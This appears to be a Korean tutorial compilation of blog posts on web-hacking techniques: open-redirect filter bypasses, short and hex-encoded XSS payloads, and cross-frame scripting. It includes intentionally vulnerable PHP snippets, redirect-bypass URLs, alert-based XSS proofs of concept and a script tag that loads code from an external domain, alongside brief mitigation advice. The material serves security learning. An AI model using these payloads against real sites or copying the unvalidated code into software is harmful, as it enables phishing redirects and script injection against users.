Unique Life

출처: http://www.hahwul.com/2015/11/web-hacking-url-redirection-url.html

URL Redirection, URL Forwarding 이라고도 부르는 이 취약점(?) 공격 방법은 사용자로 하여금 의도하지 않은 페이지로 이동시키는 목적을 가지는 공격 방법입니다.

대게 로그인, 로그아웃부터 각종 페이지 이동 파라미터 등 XSS 와 비슷하게 웹 침투 시 많이 찾아낼 수 있는 취약점입니다. 페이지를 이동하여 악성코드 배포지나 Exploit 가 삽입된 페이지 등으로 강제 이동시켜 이후에 공격을 성공시키기 위한 발판으로 사용할 수 있습니다. 

간단하게 원리 설명하고 바로 우회 패턴으로 넘어갈까 합니다. 

URL Redirection 의 원리와 대응 방안

원리 자체는 매우 단순합니다. 

페이지를 이동 시키는 요청에 대해 위조된 url 값을 넘겨주어 피해자가 다른 사이트로 넘어가도록 유도합니다. 

Location 헤더나, javascript(document.location.href) 등 에 남을 때 해당 부분에 악성 URL 주소가 들어가게 되고, 사용자는 바로 해당 주소로 넘어가게 됩니다.

대응 방법은 아주 간단합니다. 파라미터에 대한 검증 절차 만으로도 쉽게 막아낼 수 있습니다. 
서비스에서 허용하는 페이지에 대해서만 Redirection 시키도록 하거나 이전 페이지(Referer 헤더)에 대한 검증으로 해결이 가능합니다.

URL Redirection 우회 기법

URL Redirection 의 취약점 설명이나 대응 방안을 소개하기 위해 이 글은 적은 것은 아닙니다. 
그래서 소개랑 대응을 굉장히 간단하게 적었지요. 제가 여러가지 테스트를 하다 보니, 간단하고 쉽게 우회되는 Case가 좀 많았습니다. 

분명 취약 페이지들은 Redirection에 대한 검증을 하는 페이지이지만, 간단한 방법으로 우회가 가능합니다. 

1. 하위 도메인(cname)을 이용한 우회 기법

대체로 redirection 에 대해 제어할 수 있는 파라미터에 대해 문자열로 비교를 하게 되는데 이 점을 이용한 방법입니다. 

간단하게 redirection 이 가능한 php 코드를 가지고 설명하도록 하겠습니다. 

test.php

<?
$url = $_GET['url'];
echo "<script>document.location.href='".$url.'";</script>"
?>

이라고 하면 우리는 get 요청을 통해 url 파라미터에 원래 기능과는 다른 url 주소를 호출하여 URL Redirection 이나 XSS 취약점에 사용할 수 있습니다.

original code: /test.php?url=this_site_page

여기서 개발자는 filter라는 함수를 만들어서 url에 대한 검증을 하게 되지요.

<?
$url = $_GET['url'];
$url = filter($url); // filter 함수는 문자열을 비교하여 white list 기반 필터링을 수행
// url 값이 this_site_page 인지 확인
echo "<script>document.location.href='".$url.'";</script>"
?>

이 때 공격자는 아래와 같이 우회할 수 있습니다.

Attack code: /test.php?url=this_site_page.malwareurl

이러면 

this_site_page 의 상단 도메인으로 악의적인 url이 들어가고, php는 this_site_page 주소만 확인하여 필터링하지 않습니다. 
이러한 방법으로 URL에 대해 검증하는 페이지를 우회할 수 있습니다. 

2. 위조 파라미터를 통한 우회 기법

1번에서 소개한 cname 을 통한 조치하거나, 일반적으로 정확하게 검증되지 않은 사이트에 유효한 방법입니다. 
개인적인 생각으로는 1번보다 활용성이 더 좋다고 봅니다. 

이번 방법도 아주 간단합니다. 바로 필터링하는 부분을 파라미터로 넘기는 방법입니다. 
이러한 방법을 사용할 경우 도메인을 검증하기 위해 맨 끝 부분부터 처리하는 경우 우회가 가능하고, 일반적인 문자열 비교 방법도 우회가 가능합니다. 

위에랑 동일한 예시로 진행하겠습니다.

<?
$url = $_GET['url'];
$url = filter($url); // filter 함수는 문자열을 비교하여 white list 기반 필터링을 수행
// url 값이 this_site_page 인지 확인 / this_site_page 주소가 맨 끝에 있는지 확인
echo "<script>document.location.href='".$url.'";</script>"
?>

이런식으로 this_site_page 주소가 맨 끝에 있는지 확인하는 필터링이 있다고 가정합니다. 
필터링을 패스하기 위해 white list 에 있는 페이지를 맨끝에 위치하고, 원하는 도메인으로 넘기기 위해 this_site_page 주소를
파라미터로 넘깁니다.

Attack code: /test.php?url=malwareurl/?.this_site_page

이러한 방법으로 요청 시 php는 마지막에 있는 this_site_page만 보고 정상 site 로 확인하여 Redirection 시키게 됩니다. 


우회 기법에 대한 대응
사실 위에 우회 방법은 굉장히 간단하지만 대응하기는 약간 까다로운 면이 있습니다.

White List 기반 필터링을 적용하되 유의 사항이 존재합니다. 

1. 정규표현식이나, 문자열 비교를 통해 정확한 Domain 주소 확인
말로는 한줄로 적어지나, 실제로 바로 만들려고 하면 시간이 좀 걸릴 수 있는 부분입니다. 
정확하게 실제 도메인이 의미하는 부분만 뽑아내어 비교하는 방법으로 해결이 가능합니다. 

2. 입력값된 도메인에 대해 IP주소를 확인합니다.
정규표현식/문자열 비교에 비해 구현은 단순하지만, 실제로 서버에 어느정도 무리가 생길지 모르겠네요.

※ 정확하게 도메인에 대한 검증이 필요

출처:http://www.hahwul.com/2014/08/xss-short-xsscross-site-script-xss.html

Short XSS

XSS에 대한 체킹을 하다보면 특수문자나 구문에 대해 필터링이 이루어지지는 않지만
입력 글자 수 제한 등 여러가지 난관에 막힙니다.


그 중 입력 글자 수 제한에 대해 우회하는 방법에 대한 이야기입니다.

1) 외부 링크에서 코드 호출하기(Calling code from external links)
짧은 주소의 도메인을 가지고 있을 시 가능합니다.

<script src=//url.u/x.js></script>

공격코드 자체를 x.js  같이 파일로 생성해두고 사용하는것이 방법으로 길이에 대한 필터링을 빗겨갈 수 있습니다.


2) XSS 삽입부분 다수일때 주석 활용하기(Use comment out)
한 페이지에서 XSS는 여러부분에 대해 삽입이 가능한 경우가 많습니다.

입력이 가능한 부분이 name, age 라는 파라미터라고 가정하였을때 아래와 같은 형식으로 공격구문을 작성합니다.

name: <script>alert(1)<!--
age: --></script>

두 파라미터가 삽입되는 지점 사이에 html 코드들은 주석처리되며 alert 구문만 동작시킬 수 있습니다. 위 경우는 삽입구문 내 <!-- --> 를 통한 주석구문이 없어야됩니다.

3) 취약 속성사용이 가능할 때 의미없는 태그 사용(Meaningless HTML tags)
onclick, onmouseover, onkeyup 등 XSS 사용가능한 속성은 매우 많습니다.
이와같은 속성은 태그 종류에 상관없이 사용이 가능하기 때문에 간단한 테스트 시 많이 사용합니다.

<x onclick=alert(1)>
<b onkeyup=alert(1)>

위와같이 x, b 등 의미없는 태그를 이용하여 공격코드의 길이를 줄일 수 있습니다.

위 방법이외에도 다양한 방법으로 XSS 필터링 및 입력 범위 제한에 대해 우회가 가능합니다. 조금이나마 도움이 되었으면 합니다.

감사합니다. ;)

출처: http://www.hahwul.com/2015/07/web-hacking-xsscross-site-script.html

웹 해킹으로 먹고 살기에 어김없이 보던 중 최근 WVS 결과를 보고 재미있는 사실을 알았습니다.
바로 XSS 와 함께 Cross Frame Script를 보게되었는데, XFS는 처음 들어본 단어였습니다.

XSS와 유사하지만 약간 달라서 XFS라고 명시하고 따로 부르는 듯 합니다.
찾아보니 OWASP에서도 정확하게 명시되어 있었네요..

XFS란?

Cross-Frame Scripting (XFS) is a method of exploiting Cross-site Scripting (XSS). In an XFS attack, the attacker exploits a specific cross-frame-scripting bug in a web browser to access private data on a third-party website. The attacker induces the browser user to navigate to a web page the attacker controls; the attacker's page loads a third-party page in an HTML frame; and then javascript executing in the attacker's page steals data from the third-party page.
XFS also sometimes is used to describe an XSS attack which uses an HTML frame in the attack. For example, an attacker might exploit a Cross Site Scripting Flaw to inject a frame into a third-party web page; or an attacker might create a page which uses a frame to load a third-party page with an XSS flaw.
-OWASP web site-

XSS와 XFS 차이

둘의 차이는 간단합니다. 더 말하자면 XSS가 발생범위가 더 크다고 봅니다. XFS가 발생하는 부분에는 대다수 XSS가 동일하게 들어가기 때문입니다.
XFS는 웹에서 받은 파라미터를 iframe 태그 내 src 속성에 전달하여 사용하는 과정에서 취약점이 발생합니다.

/viewer?page=/test/index.html 과 같은 형태로 viewer 페이지에 page 파라미터를 통해 전달할 때 아래와 같이 노출되는 기능이 있다고 가정합니다.

output
<iframe src="/test/index.html" width=100 height=100></iframe>

위와 같은 형태라면 page 파라미터를 조작하여 공격자가 의도한 페이지로 iframe 링크를 걸 수 있는 XFS 공격구문 구성이 가능합니다.

XFS(Cross Frame Script)
/viewer?page=http://www.codeblack.net

output
<iframe src="http://www.codeblack.net" width=100 height=100></iframe>

해당 부분에서 XSS의 경우에는 javascript 를 이용하거나 html 태그, 속성을 이용하여 공격이 가능할 것입니다.
XSS(Cross Site Script)

input : /viewer?page=javascript:alert(45)
output : <iframe src="javascript:alert(45)" width=100 height=100></iframe>

input : /viewer?page="><script>alert(45)</script><hahwul a="1
output : <iframe src=""><script>alert(45)</script><hahwul a="1" width=100 height=100></iframe>

input : /viewer?page=xss" onload=alert(45) a="
output : <iframe src="xss" onload=alert(45) a="" width=100 height=100></iframe>

두 취약점 모두 유사한 형태이지만 XFS는 단순히 frame 을 통해 다른 도메인으로 연결이 가능할 때 취약하고, XSS는 좀 더 넓게 다른 도메인 및
페이지내에서 스크립트 실행이 직접적으로 가능한 경우도 포함하기 때문에 XSS가 더 risk 가 높은 취약점이라고 이야기 할 수 있습니다.

비슷한 듯 다른 두 공격방법에 대한 이야기였습니다. 감사합니다 :)

출처: http://www.hahwul.com/2015/06/web-hacking-hex-encoding-xss.html

웹 취약점 분석 중 가장 많이 발견되는 XSS 취약점에 관한 이야기입니다.
대체로 쉽게 필터링 없이 들어가는 사례도 많았지만 분석했던 대다수의 서비스는 강한 필터링이 적용되어 있었습니다.
그러나 이 필터링에도 규칙이 존재하며 해커는 필터링 규칙을 파악할 시 쉽게 우회가 가능합니다.

여러가지 우회 상황 중 이번에는 HEX Encoding 을 통한 필터링 우회를 볼까합니다.

1. HEX Encoding이란?

HEX 인코딩은 "&#x" 문자열을 통해 웹에서 hex 데이터를 표현하는 방법입니다. 편하게 부르기 위해 hex 인코딩이라 칭하지만
대부분의 인코딩 디코딩 툴에서는 HTML 으로 표기하는 경우가 많습니다.

2. 간단한 XSS 필터 및 일반적인 XSS 구문 삽입 

원리는 간단합니다. A를 나타내는 hex 값인 41에 &#x를 붙여주게 되면 &#x41 즉 텍스트 A를 의미하게 됩니다.
대부분의 XSS 필터는 입력값에 대해 특수문자를 &lt; &gt; 등으로 변환하여 공격자가 스크립트를 사용할 수 없도록 하는데요,
이러한 필터링 부분이 사용자 입력에 대해 검증한다면 공격자는 인코딩된 데이터를 이용해 필터링 규칙을 우회할 수 있습니다.

예를들어 아래와 같이 XSS 필터링 함수가 구현되어 있다고 생각해봅시다.

<?
 function XSSFilter($inputString)
 {
  $output = str_replace("<","&lt;",$inputString);
  $output = str_replace(">","&gt;",$output);
  return $output;
 }
?>

<?
 $sqlIn = $_GET['title'];
 $sqlIn = XSSFilter($sqlIn);
 db_connect($sqlIn);  // 뭐 이런식으로 있다고 가정합시다.

?>

대충 써내려간 코드라 아마 실제로 실행 안될수도 있습니다..

아무튼 위와 같은 경우에서는 get으로 title 파라미터에 값을 전송하여 db_connect를 통해 게시글에 글을 쓴다고 했을 때
< > 문자열에 대해서 필터링 되어 들어가게 됩니다. 대부분의 게시판은 태그 사용이 필요하기 때문에 주로 삽입 구간에서 XSS 필터를 적용합니다.

/?title=<script>alert(45)</script>   와 같은 형태로 공격구문을 넣었을 때 게시글에는 필터링되어 아래와 같이 나타나게 될 것입니다.

&lt;script&gt;alert(45)&lt;/script&gt;

3. HEX Encoding 을 통한 XSS

위에서 했던 방법과는 약간 다른 방법으로 XSS 구문 삽입을 시도해보겠습니다.
동일하게 title 파라미터에 스크립트 구문을 넣지만, hex 형태로 넣어보겠습니다.

/?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E;     // & 는 파라미터 구분자이기 때문에 URL 인코딩을 적용해야합니다.
                                                                   // GET으로 전송 시 URL 인코딩이 자동으로 적용되지만 &, # 같은 특수기호는 직접  인코딩을 해줘야합니다.
/?title=%26%23x003C;script%26%23x003E;alert(45)%26%23x003C;/script%26%23x003E;     

위와 같이 전송 시 아까 만든 XSSFilter 함수는 str_replace 함수에서 문자열들이 걸러지지 않습니다.
이대로 DB 저장 후 게시판 같은 곳에서 노출이 될 때 hex 인코딩이 풀어져 나타난다면 아래와 같이 완전한 스크립트 구문이 나타납니다.

<script>alert(45)</script>

4. XSS 우회

사실 XSS 우회 방법에 대해서는 정해진게 없다고 생각됩니다. 기본적으로 인코딩이 많이 알려져 있지만 실제로 가장 중요하다고 생각되는건
XSS 필터 함수의 규칙인 것 같습니다. BBT(BlackBoxTest)에서는 코드를 볼 수 없기 때문에 반복적인 테스트와 추측 등을 통해 규칙을 유추하고
그 안에서 헛점을 찾아 규칙을 우회하여야만 XSS 공격에 성공할 수 있습니다.